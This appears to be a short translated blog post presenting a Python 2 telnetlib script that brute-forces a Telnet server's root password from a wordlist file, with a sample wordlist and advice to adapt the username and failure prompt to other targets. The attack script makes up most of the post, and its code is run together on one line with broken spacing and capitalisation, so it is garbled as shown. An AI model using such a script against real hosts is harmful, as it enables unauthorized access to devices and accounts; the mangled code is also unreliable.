Recently in the study of Python network related programming, this code realizes the Telnet automatic connection detection root user password, the password is from the password book, one detects whether the password matches, until the match succeeds, the screen output stops.
The code is as follows:
#encoding =utf-8import telnetlibimport timeimport sysimport osdef do_telnet (Host, Port, username, password, finish): #连接 Telnet Server tn = telnetlib. Telnet (Host, Port, Timeout=1) tn.set_debuglevel (3) #输入登录用户名 tn.read_until ("Login:") tn.write (str (username + ' \ n ') # Enter the login password tn.read_until ("Password:") tn.write (str (Password) + ' \ n ') # to determine the password error prompt, if there is no such hint that the login is successful If Tn.read_until (finish): print "****** login incorrect!\n" tn.close (); If __name__== ' __main__ ': Host = raw_input ("IP:") # telnet Server IP Port = Raw_input ("Port:") # Telnet Service Port username = ' Root ' # login user name finish = ' Incorrect ' # password error pw_file = open ('. \\pw.txt ', ' r+ ') #密码文件 Index = 0 Print time.asctime (), ": ****** begin", "\ n" While True:password = Pw_file.readline () I Ndex +=1; Print Index,time.asctime (), ": ****** Try", "", Username, ":", Password, "" If len (password) = = 0:break; Do_telnet(Host, Port, username, password, finish) pw_file.close ();
Password this pw.txt, content such as:
rootadmin12345888888
The output is as follows:
Note: I test the target host is embedded Linux system, username is root, password error returned is incorrect hint. You may want to modify the user name and error prompt depending on the target system.
Python Automatic connection detection password for Telnet